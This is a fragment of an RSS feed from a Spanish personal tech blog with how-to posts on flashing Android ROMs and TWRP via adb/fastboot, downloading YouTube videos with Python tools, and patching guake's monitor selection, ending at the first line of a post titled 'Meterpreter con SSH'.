>taringa&lt;/a>&lt;/p></description></item><item><title>Instalar Chroma en Nexus 4</title><link>https://www.procamora.com/p/uso-de-adb/</link><pubDate>Thu, 28 Jan 2016 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/uso-de-adb/</guid><description>&lt;img src="https://www.procamora.com/covers/android.png" alt="Featured image of post Instalar Chroma en Nexus 4" />&lt;p>Instrucciones para instalar la rom de Chroma en un Nexus 4&lt;/p>
&lt;h1 id="requisitos">Requisitos:&lt;/h1>
&lt;ul>
&lt;li>Tener el móvil con al menos el &lt;strong>50%&lt;/strong> de batería.&lt;/li>
&lt;li>Tener liberado el &lt;strong>bootloader&lt;/strong>.&lt;/li>
&lt;li>Tener &lt;strong>twrp&lt;/strong> instalado, en caso de no tenerlo instalarlo
(url de donde explico como instalarlo)&lt;/li>
&lt;li>tener &lt;strong>Android 5.0.1&lt;/strong> (no se si es necesario)&lt;/li>
&lt;/ul>
&lt;p>#Pasos:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Descargarse el zip de la rom de: &lt;a class="link" href="https://www.androidfilehost.com/?fid=24369303960688159" target="_blank" rel="noopener"
>descarga&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Con twrp hacer un advanced wipe de:&lt;/p>
&lt;ul>
&lt;li>Dalvik Cache&lt;/li>
&lt;li>System&lt;/li>
&lt;li>Data&lt;/li>
&lt;li>Cache&lt;/li>
&lt;/ul>
&lt;p>Poner foto&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Poner el zip de la rom en la memoria interna del dispositivo&lt;/p>
&lt;p>&lt;code>mv chroma_mako-2016-01-18.zip /media/nexus4/Internal Storage/&lt;/code>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>instalar la zip con twrp&lt;/p>
&lt;p>poner foto&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Instalar gaps&lt;/p>
&lt;/li>
&lt;/ol>
&lt;ol start="6">
&lt;li>
&lt;p>Hacer un wipe(No se si es necesario)&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Reiniciar dispositivo y esperar unos 5-10 min a que se inicie correctamente&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>&lt;a class="link" href="http://forum.xda-developers.com/nexus-4/development/rom-chroma-03-31-2015-layers-t3069936" target="_blank" rel="noopener"
>http://forum.xda-developers.com/nexus-4/development/rom-chroma-03-31-2015-layers-t3069936&lt;/a>&lt;/p></description></item><item><title>Instalar Remix OS en Nexus 9</title><link>https://www.procamora.com/p/instalar-remix-os-en-nexus-9/</link><pubDate>Wed, 27 Jan 2016 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/instalar-remix-os-en-nexus-9/</guid><description>&lt;img src="https://www.procamora.com/covers/android.png" alt="Featured image of post Instalar Remix OS en Nexus 9" />&lt;p>Instrucciones para instalar la rom de Remix OS 1.5 en una Nexus 9&lt;/p>
&lt;p>#Requisitos:&lt;/p>
&lt;ul>
&lt;li>Tener el móvil con al menos el &lt;strong>50%&lt;/strong> de batería.&lt;/li>
&lt;li>Tener liberado el &lt;strong>bootloader&lt;/strong>.&lt;/li>
&lt;li>Tener &lt;strong>twrp&lt;/strong> instalado, en caso de no tenerlo instalarlo.
(url de donde explico como instalarlo).&lt;/li>
&lt;li>tener &lt;strong>Android 5.0.1&lt;/strong> (no se si es necesario).&lt;/li>
&lt;/ul>
&lt;p>#Pasos:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Descargarse el zip de la rom de: &lt;a class="link" href="https://www.androidfilehost.com/?fid=24369303960687942" target="_blank" rel="noopener"
>descarga&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Con twrp hacer un advanced wipe de:&lt;/p>
&lt;ul>
&lt;li>Dalvik Cache&lt;/li>
&lt;li>System&lt;/li>
&lt;li>Data&lt;/li>
&lt;li>Cache&lt;/li>
&lt;/ul>
&lt;p>&lt;img src="https://www.procamora.com/images/wipe.jpg"
loading="lazy"
alt="wipe.jpg"
>{:height=&amp;ldquo;auto&amp;rdquo; width=&amp;ldquo;100%&amp;rdquo;}&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Poner el zip de la rom en la memoria interna del dispositivo&lt;/p>
&lt;p>&lt;code>mv chroma_mako-2016-01-18.zip /media/nexus9/Internal Storage/&lt;/code>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>instalar la zip con twrp
&lt;img src="https://www.procamora.com/images/installrom.jpg"
loading="lazy"
alt="installrom.jpg"
>{:height=&amp;ldquo;auto&amp;rdquo; width=&amp;ldquo;100%&amp;rdquo;}
&lt;img src="https://www.procamora.com/images/install_rom.jpg"
loading="lazy"
alt="install_rom.jpg"
>{:height=&amp;ldquo;auto&amp;rdquo; width=&amp;ldquo;100%&amp;rdquo;}&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Instalar gaps&lt;/p>
&lt;p>poner foto&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Hacer un wipe(No se si es necesario)&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Reiniciar dispositivo y esperar unos 5-10 min a que se inicie correctamente&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>&lt;a class="link" href="http://forum.xda-developers.com/nexus-9/development/5-1-1r6-resurrection-remix-unofficial-t3157330" target="_blank" rel="noopener"
>http://forum.xda-developers.com/nexus-9/development/5-1-1r6-resurrection-remix-unofficial-t3157330&lt;/a>&lt;/p></description></item><item><title>Instalar TWRP en android</title><link>https://www.procamora.com/p/instalar-twrp-en-android/</link><pubDate>Tue, 26 Jan 2016 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/instalar-twrp-en-android/</guid><description>&lt;img src="https://www.procamora.com/covers/android.png" alt="Featured image of post Instalar TWRP en android" />&lt;p>Proceso para instalar el recovery de TWRP en Android debemos hacer lo siguiente:&lt;/p>
&lt;h1 id="requisitos">Requisitos:&lt;/h1>
&lt;ul>
&lt;li>Tener el móvil con al menos el &lt;strong>50%&lt;/strong> de batería.&lt;/li>
&lt;li>Tener instalados los &lt;strong>drivers&lt;/strong> del dispositivo. &lt;a class="link" href="http://developer.android.com/intl/es/sdk/win-usb.html" target="_blank" rel="noopener"
>Descarga&lt;/a>&lt;/li>
&lt;li>Tener instalado &lt;strong>ADB Tools&lt;/strong>.&lt;/li>
&lt;li>Tener habilitada la &lt;strong>depuración USB&lt;/strong>.
&lt;img src="https://www.procamora.com/images/usbdebbug.jpg"
loading="lazy"
alt="usbdebbug.jpg"
>{:height=&amp;ldquo;auto&amp;rdquo; width=&amp;ldquo;100%&amp;rdquo;}&lt;/li>
&lt;li>Recomendado: Tener liberado el &lt;strong>bootloader&lt;/strong>.&lt;/li>
&lt;/ul>
&lt;h1 id="pasos">Pasos:&lt;/h1>
&lt;ol>
&lt;li>
&lt;p>Para buscar la imagen de TWRP de nuestro dispositivo tenemos que buscarla desde &lt;a class="link" href="https://twrp.me/Devices/" target="_blank" rel="noopener"
>aquí&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Una vez que hemos buscado la pagina de nuestro dispositivo y nos hemos descargado la imagen hay que reiniciar el dispositivo en el modo bootloader, se puede hacer de 2 formas distintas:&lt;/p>
&lt;ol>
&lt;li>Con el comando: &lt;code>adb reboot bootloader&lt;/code>&lt;/li>
&lt;li>Botón Power + Bajar Volumen&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>
&lt;p>Comprobamos que fastboot detecta el dispositivo con &lt;code>fastboot devices&lt;/code>, si lo detecta procedemos a instalar twrp&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;code>fastboot flash recovery twrp-2.8.x.x-xxx.img&lt;/code>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Una vez que lo hemos instalado procedemos a reiniciar el dispositivo y ya lo tenemos listo con twrp instalado&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;code>fastboot reboot&lt;/code>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>En resumen:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-gdscript3" data-lang="gdscript3">&lt;span class="line">&lt;span class="cl">&lt;span class="n">adb&lt;/span> &lt;span class="n">reboot&lt;/span> &lt;span class="n">bootloader&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">fastboot&lt;/span> &lt;span class="n">flash&lt;/span> &lt;span class="n">recovery&lt;/span> &lt;span class="n">twrp&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mf">2.8&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">xxx&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">img&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">fastboot&lt;/span> &lt;span class="n">reboot&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="descargas-de-imágenes-y-paginas-oficiales-a-fecha-de-22012016">Descargas de imágenes y paginas oficiales: (a fecha de 22/01/2016)&lt;/h1>
&lt;p>Nexus 4: &lt;a class="link" href="https://twrp.me/devices/lgnexus4.html" target="_blank" rel="noopener"
>Pagina&lt;/a> &lt;a class="link" href="https://dl.twrp.me/mako/" target="_blank" rel="noopener"
>url&lt;/a>&lt;/p>
&lt;p>Nexus 9: &lt;a class="link" href="https://twrp.me/devices/htcnexus9.html" target="_blank" rel="noopener"
>Pagina&lt;/a> &lt;a class="link" href="https://dl.twrp.me/flounder/" target="_blank" rel="noopener"
>url&lt;/a>&lt;/p>
&lt;p>Nexus 5X: &lt;a class="link" href="https://twrp.me/devices/lgnexus5x.html" target="_blank" rel="noopener"
>Pagina&lt;/a> &lt;a class="link" href="https://dl.twrp.me/bullhead/" target="_blank" rel="noopener"
>url&lt;/a>&lt;/p>
&lt;p>Fuentes: &lt;a class="link" href="http://androiding.how/how-to-install-twrp-recovery-via-fastboot/" target="_blank" rel="noopener"
>0&lt;/a> &lt;a class="link" href="https://getmovil.com/nexus/instalar-android-4-4-4/" target="_blank" rel="noopener"
>1&lt;/a>&lt;/p></description></item><item><title>Descargar video youtube con python</title><link>https://www.procamora.com/p/descargar-video-youtube-con-python/</link><pubDate>Mon, 25 Jan 2016 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/descargar-video-youtube-con-python/</guid><description>&lt;img src="https://www.procamora.com/covers/software.png" alt="Featured image of post Descargar video youtube con python" />&lt;h1 id="introducción">Introducción&lt;/h1>
&lt;p>Cuando queremos descargar un video de youtube tenemos multiples opciones, tanto aplicaciones como online. La aplicación que mejor resultados me ha dado es youtube-dl.&lt;/p>
&lt;h2 id="youtube-dl">youtube-dl&lt;/h2>
&lt;p>Permite tanto descargar videos como listas de reproducción.&lt;/p>
&lt;p>&lt;code>sudo pip install youtube-dl&lt;/code>&lt;/p>
&lt;p>&lt;code>$ youtube-dl -f &amp;quot;(bestvideo+bestaudio/best)&amp;quot; &amp;quot;https://www.youtube.com/watch?v=tbVmV4XJNlo&amp;quot;&lt;/code>&lt;/p>
&lt;p>&lt;a class="link" href="https://github.com/rg3/youtube-dl/blob/master/README.md#readme" target="_blank" rel="noopener"
>Documentacion&lt;/a>&lt;/p>
&lt;h2 id="pytube">pytube&lt;/h2>
&lt;p>&lt;code>sudo pip install pytube&lt;/code>&lt;/p>
&lt;p>&lt;code>pytube -e mp4 -r 720p &amp;quot;https://www.youtube.com/watch?v=tbVmV4XJNlo&amp;quot;&lt;/code>&lt;/p>
&lt;p>Pd: No permite descargar vídeos a 1080 a fecha de hoy 22/01/2016&lt;/p>
&lt;h2 id="pafy">pafy&lt;/h2>
&lt;p>Para instalar pafy&lt;/p>
&lt;p>&lt;code>sudo pip install pafy&lt;/code>&lt;/p>
&lt;p>Download best available resolution (-b):&lt;/p>
&lt;p>&lt;code>$ ytdl -b &amp;quot;http://www.youtube.com/watch?v=cyMHZVT91Dw&amp;quot;&lt;/code>&lt;/p>
&lt;p>para ver las calidades disponibles ejecutamos
ytdl tbVmV4XJNlo&lt;/p>
&lt;p>y para seleccionar con que calidad queremos descargarnoslo:
ytdl -n2 cyMHZVT91Dw&lt;/p>
&lt;p>Fuente: &lt;a class="link" href="http://np1.github.io/pafy/" target="_blank" rel="noopener"
>pafy&lt;/a>&lt;/p>
&lt;p>Pd: No permite descargar vídeos a 1080 a fecha de hoy 22/01/2016&lt;/p></description></item><item><title>Instalar Phoenix OS en nexus 9</title><link>https://www.procamora.com/p/instalar-phoenix-os/</link><pubDate>Tue, 19 Jan 2016 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/instalar-phoenix-os/</guid><description>&lt;img src="https://www.procamora.com/covers/android.png" alt="Featured image of post Instalar Phoenix OS en nexus 9" />&lt;p>#Requisitos:
Tener instalados los drivers del dispositivo&lt;/p>
&lt;p>#Pasos:&lt;/p>
&lt;p>&lt;code>adb reboot bootloader&lt;/code>&lt;/p>
&lt;p>A la hora de instalar Phoenix OS 1.0 en la nexus 9 LTE he tenido este problema al ejecutar el script de instalación
&lt;code>./flash-all.sh&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">sending &amp;#39;system&amp;#39; (678746 KB)...
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">FAILED (remote: data length is too large)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">finished. total time: 3.146s
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>ere are the steps i took to manually flash:
run the flash-all.bat up until the point where it fails&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">unzip Nexus9_flounder_jenkins_stable_11_2016-01-04_20-25.zip
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">fastboot flash system system.img
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">fastboot flash recovery recovery.img
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">fastboot flash cache cache.img
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">fastboot flash boot boot.img
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">fastboot flash userdata vendor.img &lt;span class="c1"># - looks like userdata should be vendor? - mine worked with userdata regardless&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">from tablet - &lt;span class="k">select&lt;/span> hboot
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">select&lt;/span> factory reset
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>IMPORTANTE INSTALAR LA PLAY STORE, ESTA LA APK PARA BAJÁRSELA EN DESCARGAS
&lt;a class="link" href="https://www.reddit.com/r/RemixOS/comments/40olez/install_google_play_services_on_remix_os_official/" target="_blank" rel="noopener"
>https://www.reddit.com/r/RemixOS/comments/40olez/install_google_play_services_on_remix_os_official/&lt;/a>&lt;/p>
&lt;p>instalar gaps. lo anterior no me funciona&lt;/p>
&lt;p>&lt;a class="link" href="http://opengapps.org/" target="_blank" rel="noopener"
>http://opengapps.org/&lt;/a>&lt;/p>
&lt;p>&lt;a class="link" href="http://www.xda-developers.com/download-google-apps-gapps/" target="_blank" rel="noopener"
>http://www.xda-developers.com/download-google-apps-gapps/&lt;/a>&lt;/p>
&lt;p>&lt;a class="link" href="http://forum.xda-developers.com/nexus-9/help/factory-image-flash-t2929019/post56529332#post56529332" target="_blank" rel="noopener"
>http://forum.xda-developers.com/nexus-9/help/factory-image-flash-t2929019/post56529332#post56529332&lt;/a>&lt;/p></description></item><item><title>chrome en kali linux</title><link>https://www.procamora.com/p/chrome-en-kali-linux/</link><pubDate>Sat, 16 Jan 2016 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/chrome-en-kali-linux/</guid><description>&lt;img src="https://www.procamora.com/covers/draft.png" alt="Featured image of post chrome en kali linux" />&lt;p>Fuente &lt;a class="link" href="https://creadpag.wordpress.com/2015/08/25/como-instalar-google-chrome-en-kali-linux-2-0/" target="_blank" rel="noopener"
>0&lt;/a>&lt;/p></description></item><item><title>Crear un servidor con vnc</title><link>https://www.procamora.com/p/crear-un-servidor-con-vnc/</link><pubDate>Fri, 15 Jan 2016 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/crear-un-servidor-con-vnc/</guid><description>&lt;img src="https://www.procamora.com/covers/draft.png" alt="Featured image of post Crear un servidor con vnc" />&lt;p>&lt;a class="link" href="http://www.redeszone.net/gnu-linux/vnc-server/" target="_blank" rel="noopener"
>http://www.redeszone.net/gnu-linux/vnc-server/&lt;/a>
&lt;a class="link" href="http://www.ajpdsoft.com/modules.php?name=News&amp;amp;file=article&amp;amp;sid=406" target="_blank" rel="noopener"
>http://www.ajpdsoft.com/modules.php?name=News&amp;file=article&amp;sid=406&lt;/a>&lt;/p></description></item><item><title>Cambiar monitor guake</title><link>https://www.procamora.com/p/2016_01_09_cambiar-monitor-guake/</link><pubDate>Sat, 09 Jan 2016 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/2016_01_09_cambiar-monitor-guake/</guid><description>&lt;img src="https://www.procamora.com/covers/software.png" alt="Featured image of post Cambiar monitor guake" />&lt;p>Cuando tienes varios monitores, guake por defecto arranca en el monitor de la izquierda, para colocarlo en la derecha hay que editar el ejecutable de guake&lt;/p>
&lt;p>&lt;code>vim /usr/bin/guake&lt;/code>&lt;/p>
&lt;p>Buscar la función &lt;em>&lt;strong>get_final_window_rect&lt;/strong>&lt;/em> y sustituirla por esta:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;span class="lnt">29
&lt;/span>&lt;span class="lnt">30
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">get_final_window_rect&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;Gets the final size of the main window of guake. The height
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> is the window_height property, width is window_width and the
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> horizontal alignment is given by window_alignment.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> &amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">screen&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">window&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get_screen&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">height&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">client&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get_int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">KEY&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;/general/window_height&amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">width&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">100&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">halignment&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">client&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get_int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">KEY&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;/general/window_halignment&amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># future we might create a field to select which monitor you&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># wanna use&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">#monitor = 0 # use the left most monitor&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">monitor&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">screen&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get_n_monitors&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="c1"># use the right most monitor&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">monitor_rect&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">screen&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get_monitor_geometry&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">monitor&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">window_rect&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">monitor_rect&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">copy&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">window_rect&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">height&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">window_rect&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">height&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">height&lt;/span> &lt;span class="o">/&lt;/span> &lt;span class="mi">100&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">window_rect&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">width&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">window_rect&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">width&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">width&lt;/span> &lt;span class="o">/&lt;/span> &lt;span class="mi">100&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">width&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">monitor_rect&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">width&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">halignment&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">ALIGN_CENTER&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">window_rect&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">x&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">monitor_rect&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">x&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">monitor_rect&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">width&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">window_rect&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">width&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">/&lt;/span> &lt;span class="mi">2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">halignment&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">ALIGN_LEFT&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">window_rect&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">x&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">monitor_rect&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">x&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">halignment&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">ALIGN_RIGHT&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">window_rect&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">x&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">monitor_rect&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">x&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">monitor_rect&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">width&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">window_rect&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">width&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">window_rect&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">y&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">monitor_rect&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">y&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">window_rect&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Fuentes: &lt;a class="link" href="http://www.marcogiordanotd.com/blog/ubuntu/fix-guake-terminal-position-multi-monitor" target="_blank" rel="noopener"
>0&lt;/a>&lt;/p></description></item><item><title>Meterpreter con SSH</title><link>https://www.procamora.com/p/monitor/</link><pubDate>Tue, 29 Dec 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/monitor/</guid><description>&lt;img src="https://www.procamora.com/covers/pentesting.png" alt="Featured image of post Meterpreter con SSH" />&lt;p>There are two files, monitor.py and meterssh.py.&lt;/p>
